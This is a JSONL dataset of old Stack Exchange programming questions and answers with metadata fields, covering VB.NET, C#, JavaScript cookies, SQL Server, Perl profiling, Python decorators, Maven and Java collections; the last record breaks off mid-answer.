{"id": "hf_ede0030c0b3b", "question": "<p>Why can't I create a <code>class</code> in <code>VB.NET</code> that <code>inherits</code> <code>System.IO.Directory</code>?  According to Lutz Roeder, it is <em>not</em> declared as <code>NotInheritable</code>!</p>\n\n<p>I want to create a <code>utility class</code> that adds functionality to the <code>Directory class</code>.  For instance, I want to add a <code>Directory.Move</code> function.</p>\n\n<p>Please advise and I will send you a six pack.  OK nevermind I'm not sending you anything but if you come to the bar tonight I will hook you up and then beat you in pool.</p>\n", "question_body": "", "answer": "Are you using\nC# 3.0\nVB.NET 2008 -- then you could add an\nExtension Method", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.789672"}
{"id": "hf_35c4377207f1", "question": "<p>A lot of my C# code follows this pattern:</p>\n\n<pre><code>void foo(string param1, string param2, string param3)\n{\n    try\n    {\n         // do something...\n    }\n    catch(Exception ex)\n    {\n        LogError(String.Format(\"Error in foo(param1={0}, param2={1}, param3={2}), exception={3}\", param1, param2, param3, ex.Message));\n    }\n}\n</code></pre>\n\n<p>Is there a way in .NET to get a Key/Value list of the parameters to a function so that I can call another function to construct my error logging string?\nOR\nDo you have a more generic / better way of doing this?</p>\n", "question_body": "", "answer": "When I have done this I just created a generic dictionary for the logging.\nI have this LogArgs class.  And logging in a base class that I call when I have an exception.\n```\n```\npublic class LogArgs\n{\n\n    public string MethodName { get; set; }\n    public string ClassName { get; set; }\n    public Dictionary<string, object> Paramters { get; set; }\n\n    public LogArgs()\n    {\n        this.Paramters = new Dictionary<string, object>();\n    }\n\n}\n```\n```\nThen at the start of every method I do\n```\n```\nLogArgs args = new LogArgs { ClassName = \"ClassName\", MethodName = \"MethodName\" };\nargs.Paramters.Add(\"Param1\", param1);\nargs.Paramters.Add(\"Param2\", param2);\nargs.Paramters.Add(\"Param3\", param3);\n\nbase.Logger.MethodStartLog(args);\n```\n```\nWhen I have an error I log it this way.\n```\n```\nbase.Logger.LogError(args, ex);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.837725"}
{"id": "hf_4e12a840ff20", "question": "<p>I am using prototype and I can't find any built in extensions to set or retrieve cookies. After googling for a little bit, I see a few different ways to go about it. I was wondering what you think is the best approach for getting a cookie in JavaScript?</p>\n", "question_body": "", "answer": "I use this. It has been dependable:\n```\n```\nfunction getCookie(c_name) {\nif (document.cookie.length>0)\n  {\n  c_start=document.cookie.indexOf(c_name + \"=\")\n  if (c_start!=-1)\n    { \n    c_start=c_start + c_name.length+1 \n    c_end=document.cookie.indexOf(\";\",c_start)\n    if (c_end==-1) c_end=document.cookie.length\n    return unescape(document.cookie.substring(c_start,c_end))\n    } \n  }\nreturn \"\"\n```\n```\n}", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.884865"}
{"id": "hf_9b1a9c853f27", "question": "<blockquote>\n  <p>System.InvalidOperationException: DragDrop registration did not\n  succeed. ---> System.Threading.ThreadStateException:</p>\n</blockquote>\n\n<p>What does this exception mean?  I get it at this line trying to add a panel to a panel at runtime...</p>\n\n<pre><code>splitReport.Panel1.Controls.Add(ChartPanel);\n</code></pre>\n\n<p>Working in VS2008 C#</p>\n", "question_body": "", "answer": "This exception means that the thread that owns the Panel (the Panel being added) has been initialized using the MTA threading model. The drag/drop system requires that the calling thread use the STA thread model (particularly it requires that COM be initialized via OleInitialize). Threading models are an unfortunate vestige of COM, a predecessor of the .NET platform.\nIf you have the\n```\n[STAThread]\n```\nattribute on your Main function, then the main program thread should already be STA. The most likely explanation, then, is that this exception is happening on a different thread. Look at the Threads window in Visual Studio (Debug | Windows | Threads) when the exception occurs and see if you are on a thread other than the main thread. If you are, the solution is probably as simple as setting the thread model for that new thread, which you can do as follows (add this code to the thread where the control is being created):\n```\nThread.CurrentThread.SetApartmentState( ApartmentState.STA )\n```\n(\n```\nThread\n```\nand\n```\nApartmentState\n```\nare members of\n```\nSystem.Threading\n```\n)\nThat code will need to happen before you actually start the new thread. As noted by @Tomer, you can also specify this declaratively using the\n```\n[STAThread]\n```\nattribute.\nIf you find that the exception is happening on the main thread, post back and let us know, and maybe we can help more. A stack trace at the time of the exception may help track down the problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.920445"}
{"id": "hf_ad1c24d33507", "question": "<p>As just stated in a recent <a href=\"https://stackoverflow.com/questions/135759/why-cant-i-inherit-iodirectory\">question</a> and <a href=\"https://stackoverflow.com/questions/135759/why-cant-i-inherit-iodirectory#135772\">answer</a>, you can't inherit from a static class.  How does one enforce the rules that go along with static classes inside VB.NET?  Since the framework is compatible between C# and VB it would make sense that there would be a way to mark a class static, but there doesn't seem to be a way.</p>\n", "question_body": "", "answer": "Module == static class\nIf you just want a class that you can't inherit, use a\n```\nNotInheritable\n```\nclass; but it won't be static/Shared. You could mark all the methods, properties, and members as\n```\nShared\n```\n, but that's not strictly the same thing as a static class in C# since it's not enforced by the compiler.\nIf you really want the VB.Net equivalent to a C# static class, use a\n```\nModule\n```\n.  It can't be inherited and all members, properties, and methods are static/shared.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:25.981346"}
{"id": "hf_77bd73b5fbca", "question": "<p>Does anyone know of a web site where I can find a list of 32-bit MIPS instructions/opcodes, with the following features:</p>\n<ul>\n<li>Clearly distinguishes between real opcodes and assembly-language macros (pseudo-instructions)</li>\n<li>Describes the instruction behavior including differences depending on privilege level.\n<li>Indicates in which instruction set revision the instruction was introduced/revised (e.g. MIPS I, MIPS II, MIPS32, etc.)</li>\n<li>Includes privileged instructions such as syscall.</li>\n</ul>\n<p>I am aware of numerous web sites which document &quot;part of&quot; the instruction set, mostly for teaching purposes.  They tend to leave out or only partially describe floating-point and privileged instructions.</p>\n<p>In case you're wondering, I'm looking at Verilog code for a MIPS processor subset, and trying to figure out exactly to what extent it complies with the instruction sets of any real MIPS processors!</p>\n", "question_body": "", "answer": "I can only partially answer the question: I'd recommend\nSee MIPS Run\nby Dominic Sweetman, if you're not already referring to it. I have the first edition of the book, the second edition is now current.\ntable 8.2 lists each opcode and expected behavior, differentiating assembler macros and  listing the instructions they decompose to. Unfortunately it does not differentiate user vs kernel mode.\ntable 8.6 lists the ISA level where each instruction was introduced, including obscure variants like the LSI MiniRISC\nsyscall is present in the table, though lacking much description\nThe first edition mentions the kernel. supervisor, and user privilege levels but does not discuss what operations are allowed in each. I do not know what changes were made in the second edition.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:26.029580"}
{"id": "hf_68f8e1ce8ef1", "question": "<p>I'd like to just put in a comment in the block of my if-statement, but I get an error when I try. I want to be more like Steve McConnell.</p>\n\n<pre><code>declare @ConstraintName varchar(255)\nset @ConstraintName = 'PK_Whatever'\n\nIF LEFT(@ConstraintName, 2) = 'PK'\nBEGIN\n    --can't drop primary keys\nEND\n</code></pre>\n\n<p>The error I get is:</p>\n\n<pre><code>Incorrect syntax near 'END'.\n</code></pre>\n\n<p>If I add something after the comment, i.e. <code>PRINT @ConstraintName</code>, it works fine.</p>\n", "question_body": "", "answer": "I can't say for sure in SQL Server, but in Oracle PL/SQL you would put a NULL statement in a block that you want to do nothing:\n```\n```\nBEGIN\n  -- This is a comment\n  NULL;\nEND\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:26.077680"}
{"id": "hf_e2eb7fdb0114", "question": "<p>So a column will hold some text that beforehand I won't know how long the length of this string can be. Realistically 95% of the time, it will probably be between 100-500 chars, but there can be that one case where it will 10000 chars long. I have no control over the size of this string and never does the user. Besides varchar(max), what other strategy have you guys found useful? Also what are some cons of varchar(max)?</p>\n", "question_body": "", "answer": "Varchar(max) in sqlserver 2005 is what I use.\nSqlServer handles large string fields weirdly, in that if you specify \"text\" or a large varchar, but not max, it stores part of the bits in the record and the rest outside.\nTo my knowledge with varchar(max) it goes ahead and stores the entire contents out of the record, which makes it less efficient than a small text input. But its more efficient than a \"text\" field since it does not have to look up that information 2 times by getting part inline and the rest from a pointer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:26.101739"}
{"id": "hf_4dfdb7d352ad", "question": "<p>I need to show a camera capture dialog in a compact framework 3.7 application by pinvoking SHCameraCapture from the dll Aygshell.dll.  I cannont use the managed object CameraCaptureDialog because of limitations with the technology I'm working with.  Instead, I need to access it by Pinvoking it.</p>\n\n<p>See <a href=\"http://msdn.microsoft.com/en-us/library/aa454995.aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/library/aa454995.aspx</a> for documentation on the function.  The function takes in a struct that defines the parameters of the dialog.  e.g. where to save the file, what resolution to use.</p>\n\n<p>I would imaging that I would have to define a copy of the struct in C# and decorate the sturct with the attribute StructLayout.  I also imagine that the code would involve [DllImport(\"aygshell.dll\")].  Any sample code of how to call this would be much appreciated.</p>\n", "question_body": "", "answer": "I've not been able to test this, but your struct/function should look something like this:\n```\n```\nstruct SHCAMERACAPTURE {\n  public Int32 cbSize;\n  public IntPtr hwndOwner;\n\n  [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)]  \n  public string szFile;\n\n  [MarshalAs(UnmanagedType.LPStr)] \n  string pszInitialDir;\n\n  [MarshalAs(UnmanagedType.LPStr)] \n  string pszDefaultFileName;\n\n  [MarshalAs(UnmanagedType.LPStr)] \n  string pszTitle;\n\n  Int32 StillQuality;\n  Int32 VideoTypes;\n  Int32 nResolutionWidth;\n  Int32 nResolutionHeight;\n  Int32 nVideoTimeLimit;\n  Int32 Mode;\n}\n\n[DllImport(\"aygshell.dll\")]\nstatic extern int SHCameraCapture(ref SHCAMERACAPTURE pshcc);\n```\n```\nAFAIK, you don't need to explicitly set StructLayout on SHCAMERCAPTURE as there's nothing unusual about its layout.\nOnce you get this working, you might want to post your findings to pinvoke.net for others to make use of!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:26.126016"}
{"id": "hf_bd81fae32b22", "question": "<p>Stored procs in SQL Server sometimes finish with a return code, as opposed to a recordset of data.  I've seen ASP code that's able to get this return code, but I can't figure out how to get this code with PHP's mssql driver.</p>\n\n<p>mssql_get_last_message() always returns nothing, and I'm thinking it's because it only returns the very last line that came from the server. When we run the proc in another application (outside PHP), there is blank line following the return code.</p>\n\n<p>Has anyone figured out how to get return codes from SQL stored procs using PHP's mssql driver?</p>\n", "question_body": "", "answer": "Are you talking about SQL Server error codes, e.g. RAISERRROR or other failures? If so, last time I checked in PHP you need to ask for @@ERROR (e.g. select @@error) instead.\nIf it is a return code, you must explicitly catch it, e.g.\n```\n```\nDECLARE @return_code INT\nEXEC @return_code = your_stored_procedure 1123\nSELECT @return_code\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:26.177967"}
{"id": "hf_a869251b72c7", "question": "<p>I've looked around for a good example of this, but I haven't run into one yet.  I want to pass a custom string array from java to oracle and back, using the IBATIS framework.  Does anyone have a good link to an example?  I'm calling stored procs from IBATIS.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "You've got to start with a custom instance of\n```\nTypeHandler\n```\n.  We'd prefer to implement the simpler\n```\nTypeHandlerCallback\n```\n, but in this scenario we need access to the underlying\n```\nConnection\n```\n.\n```\n```\npublic class ArrayTypeHandler implements TypeHandler {\n\n    public void setParameter(PreparedStatement ps, int i, Object param, String jdbcType)\n            throws SQLException {\n        if (param == null) {\n            ps.setNull(i, Types.ARRAY);\n        } else {\n            Connection conn = ps.getConnection();\n            Array loc = conn.createArrayOf(\"myArrayType\", (Object[]) param);\n            ps.setArray(i, loc);\n        }\n    }\n\n    public Object getResult(CallableStatement statement, int i)\n            throws SQLException {\n        return statement.getArray(i).getArray();\n    }\n    ...\n}\n```\n```\nThen, to wire it up in the iBATIS config:\n```\n```\n<?xml version=\"1.0\"?>\n<!DOCTYPE sqlMap PUBLIC \"-//ibatis.apache.org//DTD SQL Map 2.0//EN\" \"http://ibatis.apache.org/dtd/sql-map-2.dtd\">\n\n<sqlMap namespace=\"arrayTest\">\n\n    <parameterMap id=\"storedprocParams\" class=\"map\">\n        <parameter property=\"result\" mode=\"OUT\" jdbcType=\"ARRAY\" typeHandler=\"ArrayTypeHandler\"/>\n        <parameter property=\"argument\" mode=\"IN\" jdbcType=\"ARRAY\" typeHandler=\"ArrayTypeHandler\"/>\n    </parameterMap>\n\n    <procedure id=\"storedproc\" parameterMap=\"arrayTest.storedprocParams\">\n        {? = call My_Array_Function( ? )}\n    </procedure>\n\n</sqlMap>\n```\n```\nHope this helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:26.286781"}
{"id": "hf_1e6b4b2d85a7", "question": "<p>It is discouraged to simply catch <code>System.Exception</code>. Instead, only the &quot;known&quot; exceptions should be caught.</p>\n<p>Now, this sometimes leads to unnecessary repetitive code, for example:</p>\n<pre><code>try\n{\n    WebId = new Guid(queryString[&quot;web&quot;]);\n}\ncatch (FormatException)\n{\n    WebId = Guid.Empty;\n}\ncatch (OverflowException)\n{\n    WebId = Guid.Empty;\n}\n</code></pre>\n<p>I wonder: Is there a way to catch both exceptions and only call the <code>WebId = Guid.Empty</code> call once?</p>\n<p>The given example is rather simple, as it's only a <a href=\"http://en.wikipedia.org/wiki/Globally_unique_identifier\" rel=\"noreferrer\"><code>GUID</code></a>. But imagine code where you modify an object multiple times, and if one of the manipulations fails expectedly, you want to &quot;reset&quot; the <code>object</code>. However, if there is an unexpected exception, I still want to throw that higher.</p>\n", "question_body": "", "answer": "Note that I did find one way to do it, but this looks more like material for\nThe Daily WTF\n:\n```\n```\ncatch (Exception ex)\n{\n    switch (ex.GetType().Name)\n    {\n        case \"System.FormatException\":\n        case \"System.OverflowException\":\n            WebId = Guid.Empty;\n            break;\n        default:\n            throw;\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:26.315101"}
{"id": "hf_2fadfa8b9142", "question": "<p>I'm trying to send an email in Java but when I read the body of the email in Outlook, it's gotten rid of all my linebreaks. I'm putting \\n at the ends of the lines but is there something special I need to do other than that? The receivers are always going to be using Outlook. </p>\n\n<p>I found a page on microsoft.com that says there's a 'Remove line breaks' \"feature\" in Outlook so does this mean there's no solution to get around that other than un-checking that setting?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Try\n```\n\\r\\c\n```\ninstead of\n```\n\\n\n```\n.\nEDIT:\nI think @Robert Wilkinson had it right.\n```\n\\r\\n\n```\n. Memory just isn't what it used to be.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:26.352588"}
{"id": "hf_9ba2efcf1fb9", "question": "<p>I am working on a web app that uses Perl and I need to look into speeding up portions of the app.  </p>\n\n<p>I thought I'd start profiling the particular calls for the portion I wish to investigate.  I've done some searching on profiling Perl code, but unfortunately most of what I find says that I should run my perl code with <code>-d:DProf myapp</code> from the command line.  That doesn't quite work for me since my code is within a web app.  I did find a way to get the profiling to work with apache, but unfortunately, the \"most used\" modules that came back from the profiler were all CPAN modules -- Class::xyz, etc etc etc.  Not terribly helpful.</p>\n\n<p>Does anyone know of a good way besides me injecting \"timer\" code into the methods I wish to profile to target just these methods?  I've thought of writing a test script and profiling that but due to the nature of the code I'm working on that would require a bit more work than I'm hoping to have to do.  </p>\n", "question_body": "", "answer": "You can use the\nBenchmark\ncore module with the\n:hireswallclock\noption if you really want to time things internally.   But really, you should be able to profile from the command line.  You might have to write test scripts to emulate certain portions of a CGI request, but DProf can be\nextremely\nuseful when looking for performance bottlenecks.\nIn particular, look for where your code is calling the CPAN module code.  You may be doing this in loops far more than necessary, so while the time is spent in the CPAN module, refactoring your code can fix the problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:26.380865"}
{"id": "hf_ca4d88be783f", "question": "<p>What is the difference between a function decorated with <a href=\"http://docs.python.org/library/functions.html#staticmethod\" rel=\"noreferrer\"><code>@staticmethod</code></a> and one decorated with <a href=\"http://docs.python.org/library/functions.html#classmethod\" rel=\"noreferrer\"><code>@classmethod</code></a>?</p>\n", "question_body": "", "answer": "A\nstaticmethod\nis a method that knows nothing about the class or instance it was called on. It just gets the arguments that were passed, no implicit first argument. It is basically useless in Python -- you can just use a module function instead of a staticmethod.\nA\nclassmethod\n, on the other hand, is a method that gets passed the class it was called on, or the class of the instance it was called on, as first argument. This is useful when you want the method to be a factory for the class: since it gets the actual class it was called on as first argument, you can always instantiate the right class, even when subclasses are involved. Observe for instance how\n```\ndict.fromkeys()\n```\n, a classmethod, returns an instance of the subclass when called on a subclass:\n```\n```\n>>> class DictSubclass(dict):\n...     def __repr__(self):\n...         return \"DictSubclass\"\n... \n>>> dict.fromkeys(\"abc\")\n{'a': None, 'c': None, 'b': None}\n>>> DictSubclass.fromkeys(\"abc\")\nDictSubclass\n>>>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:26.418211"}
{"id": "hf_fb5c9064f5c1", "question": "<p>Browsing to a dynamic web page built using Grails version 1.0.3 the console log shows the following errors for each page request:</p>\n\n<pre><code>[Fatal Error] :-1:-1: Premature end of file.\n</code></pre>\n\n<p>How do I stop this error from appearing for each request?</p>\n", "question_body": "", "answer": "This bug was already fixed:\nhttp://jira.codehaus.org/browse/GRAILS-3088\nPremature end of file\nAffects Version/s:  1.0.3\nFix Version/s:\n1.0.4\n...Just a few implementation notes. We were defaulting to a q value of 0, which is incorrect according to the spec. So we now default to 1.0 which gives the correct precedence order in Firefox 3, but incorrect in Firefox 2. However, more specific XML types like application/xhtml+xml now take precendence over less specific ones if they have the same q value so this fixes the issue in Firefox 2...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:26.443032"}
{"id": "hf_793c4cfbae8e", "question": "<p>Why isn't Visual Studio 2005 generating a serialization setting when I set the project setting \"Generate Serialization Assembly\" to \"On\"?</p>\n", "question_body": "", "answer": "It turns out that Dev Studio only honors this setting for Web Services.\nFor non-web services you can get this to work by adding an AfterBuild target to your project file:\n```\n```\n<Target Name=\"AfterBuild\" DependsOnTargets=\"AssignTargetPaths;Compile;ResolveKeySource\" Inputs=\"$(MSBuildAllProjects);@(IntermediateAssembly)\"  Outputs=\"$(OutputPath)$(_SGenDllName)\">         \n      <SGen BuildAssemblyName=\"$(TargetFileName)\" BuildAssemblyPath=\"$(OutputPath)\"  References=\"@(ReferencePath)\" ShouldGenerateSerializer=\"true\" UseProxyTypes=\"false\" KeyContainer=\"$(KeyContainerName)\" KeyFile=\"$(KeyOriginatorFile)\" DelaySign=\"$(DelaySign)\" ToolPath=\"$(SGenToolPath)\">\n          <Output TaskParameter=\"SerializationAssembly\" ItemName=\"SerializationAssembly\" />\n      </SGen>\n  </Target>\n```\n```\nSee also:\nSGen MSBuild Task\nAfterBuild Event", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:26.467428"}
{"id": "hf_57e1417ef8d9", "question": "<p>Examples:</p>\n\n<pre><code>\"1\"     yes\n\"-1\"    yes\n\"- 3\"   no\n\"1.2\"   yes\n\"1.2.3\" no\n\"7e4\"   no  (though in some cases you may want to allow scientific notation)\n\".123\"  yes\n\"123.\"  yes\n\".\"     no\n\"-.5\"   yes\n\"007\"   yes\n\"00\"    yes\n</code></pre>\n", "question_body": "", "answer": "This allows for optional \"+\" and \"-\" in front.  And allows trailing or initial whitespace.\n```\n```\n/^\\s*[+-]?(?:\\d+\\.?\\d*|\\d*\\.\\d+)\\s*$/\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:26.515765"}
{"id": "hf_a442f094739f", "question": "<p>Not really getting the point of the map function. Can anyone explain with examples its use?</p>\n\n<p>Are there any performance benefits to using this instead of a loop or is it just sugar?</p>\n", "question_body": "", "answer": "Any time you want to generate a list based another list:\n```\n```\n# Double all elements of a list\nmy @double = map { $_ * 2 } (1,2,3,4,5);\n# @double = (2,4,6,8,10);\n```\n```\nSince lists are easily converted pairwise into hashes, if you want a hash table for objects based on a particular attribute:\n```\n```\n# @user_objects is a list of objects having a unique_id() method\nmy %users = map { $_->unique_id() => $_ } @user_objects;\n# %users = ( $id => $obj, $id => $obj, ...);\n```\n```\nIt's a really general purpose tool, you have to just start using it to find good uses in your applications.\nSome might prefer verbose looping code for readability purposes, but personally, I find\n```\nmap\n```\nmore readable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:26.635981"}
{"id": "hf_2c4eaef6e86c", "question": "<p>I need to write an SNMP agent for my application.</p>\n\n<p>I read the <a href=\"http://www.codeproject.com/KB/IP/SNMP_Agent_DLL__Part1_.aspx\" rel=\"noreferrer\">CodeProject article</a> on how to write an SNMP extension agent DLL using win32, but would like to know if it is possible to do it with managed code.</p>\n\n<p>Also, is it possible to write my own SNMP agent in managed code and run it along windows SNMP service?\nwindows SNMP service is required to run on my server to provide the basic operating system management info.</p>\n\n<p>What C# SNMP library would you recommend? I found a few C# SNMP protocol implementations, but could not find sample code on how to implement an SNMP agent - most samples are only about querying other agents or sending traps.</p>\n", "question_body": "", "answer": "the best library I have used in 8\nyears of NMS development -\nadventnet\nyou can write your own, but you need to understand\nASN\n. Good luck with that.\nSNMP agents do 2 things: query for data, send and receive traps. What else you want\nthem to do? wash your laundry?! (sorry couldn't resist that! :) ).\nWhat are you trying to do with your SNMP agent?! Does you app need to send traps?! or query for data from a node?!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:26.660096"}
{"id": "hf_76b229252004", "question": "<p>OK, first let me state that I have never used this control and this is also my first attempt at using a web service.</p>\n\n<p>My dilemma is as follows. I need to query a database to get back a certain column and use that for my autocomplete. Obviously I don't want the query to run every time a user types another word in the textbox, so my best guess is to run the query once then use that dataset, array, list or whatever to then filter for the autocomplete extender... </p>\n\n<p>I am kinda lost any suggestions??</p>\n", "question_body": "", "answer": "This question depends upon how transactional your data store is. Obviously if you are looking for US states (a data collection that would not change realistically through the life of the application) then I would either cache a System.Collection.Generic List<> type or if you wanted a DataTable.\nYou could easily set up a cache of the data you wish to query to be dependent upon an XML file or database so that your extender always queries the data object casted from the cache and the cache object is only updated when the datasource changes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:26.759192"}
{"id": "hf_5932efc6bd9c", "question": "<p>Right now, I have two Eclipse projects - they both use Maven 2 for all their jar-dependency goodness.</p>\n\n<p>Inside Eclipse, I have project Foo included in project Bar's build path, so that I can use Foo's classes from project Bar.  This works really well in Eclipse land, but when I try:</p>\n\n<pre><code>mvn compile \n</code></pre>\n\n<p>inside Bar's directory, it fails because Maven doesn't know about the project-to-project relationship in Eclipse's build path.</p>\n\n<p>If I were using Ant, I would just use it to do something silly like copy foo.jar into project Bar's classpath, but as far as I can tell, things are done a lot less hackishly in Maven-land.</p>\n\n<p>I'm wondering if there's a standard workaround for this type of problem - it seems like it would be fairly common, and I'm just missing something basic about how Maven works.</p>\n", "question_body": "", "answer": "I think the best way to handle it is to make Bar a Maven project just like Foo, and then\n```\nmvn install\n```\nit so it is available in your local Maven repository. The drawback is that you have to install that project every time you want Maven to see the changes you make to Bar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:26.856276"}
{"id": "hf_3aa6c63363ab", "question": "<p>I need to determine the current year in Java as an integer. I could just use <code>java.util.Date()</code>, but it is deprecated.</p>\n", "question_body": "", "answer": "For Java 8 onwards:\n```\n```\nint year = Year.now().getValue();\n```\n```\nFor older version of Java:\n```\n```\nint year = Calendar.getInstance().get(Calendar.YEAR);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:26.920057"}
{"id": "hf_3df5fe158dfc", "question": "<p>How would I have a <a href=\"http://en.wikipedia.org/wiki/JavaScript\" rel=\"noreferrer\">JavaScript</a> action that may have some effects on the current page but would also change the URL in the browser so if the user hits reload or bookmark, then the new URL is used?  </p>\n\n<p>It would also be nice if the back button would reload the original URL.</p>\n\n<p>I am trying to record JavaScript state in the URL.</p>\n", "question_body": "", "answer": "I would strongly suspect this is not possible, because it would be an incredible security problem if it were. For example, I could make a page which looked like a bank login page, and make the URL in the address bar look\njust like the real bank\n!\nPerhaps if you explain why you want to do this, folks might be able to suggest alternative approaches...\n[Edit in 2011: Since I wrote this answer in 2008, more info has come to light regarding an\nHTML5 technique\nthat allows the URL to be modified as long as it is from the same origin]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.028709"}
{"id": "hf_d647070e9812", "question": "<p>I have a set of objects in a Vector from which I'd like to select a random subset (e.g. 100 items coming back; pick 5 randomly). In my first (very hasty) pass I did an extremely simple and perhaps overly clever solution:</p>\n\n<pre><code>Vector itemsVector = getItems();\n\nCollections.shuffle(itemsVector);\nitemsVector.setSize(5);\n</code></pre>\n\n<p>While this has the advantage of being nice and simple, I suspect it's not going to scale very well, i.e. Collections.shuffle() must be O(n) at least. My less clever alternative is</p>\n\n<pre><code>Vector itemsVector = getItems();\n\nRandom rand = new Random(System.currentTimeMillis()); // would make this static to the class    \n\nList subsetList = new ArrayList(5);\nfor (int i = 0; i &lt; 5; i++) {\n     // be sure to use Vector.remove() or you may get the same item twice\n     subsetList.add(itemsVector.remove(rand.nextInt(itemsVector.size())));\n}\n</code></pre>\n\n<p>Any suggestions on better ways to draw out a random subset from a Collection?</p>\n", "question_body": "", "answer": "Your second solution of using Random to pick element seems sound, however:\nDepending on how sensitive your data is, I suggest using some sort of hashing method to scramble the random number seed.  For a good case study, see\nHow We Learned to Cheat at Online Poker\n(but 